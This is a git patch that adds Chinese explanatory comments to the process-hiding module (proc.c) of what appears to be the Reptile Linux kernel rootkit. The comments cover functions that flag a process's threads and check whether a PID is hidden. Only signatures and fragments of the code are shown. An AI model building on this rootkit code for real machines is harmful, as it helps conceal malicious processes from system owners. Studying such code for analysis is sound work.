From c1ef6ff634bb7ecfd64a9e26425bcbd36eb93d89 Mon Sep 17 00:00:00 2001 From: shenzexi <2538927534@qq.com> Date: Mon, 21 Oct 2024 15:19:51 +0800 Subject: [PATCH] Code Explanation --- src/Reptile/kernel/proc.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/Reptile/kernel/proc.c b/src/Reptile/kernel/proc.c index 45a7788..a13d1e8 100644 --- a/src/Reptile/kernel/proc.c +++ b/src/Reptile/kernel/proc.c @@ -14,7 +14,7 @@ #endif #include "proc.h" - +//根据给定的进程ID (pid) 和标志位设置 (set) 来修改进程及其线程的标志位 int flag_tasks(pid_t pid, int set) { int ret = 0; @@ -68,7 +68,7 @@ struct task_struct *find_task(pid_t pid) return ret; } - +//判断指定进程号进程是否可见 int is_proc_invisible(pid_t pid) { struct task_struct *task; @@ -87,7 +87,7 @@ int is_proc_invisible(pid_t pid) put_task_struct(task); return ret; } - +//解析文件名->pid -> is_proc_invisible(pid) int is_proc_invisible_2(const char __user *filename) { int ret = 0, i, argc, is_num = 1;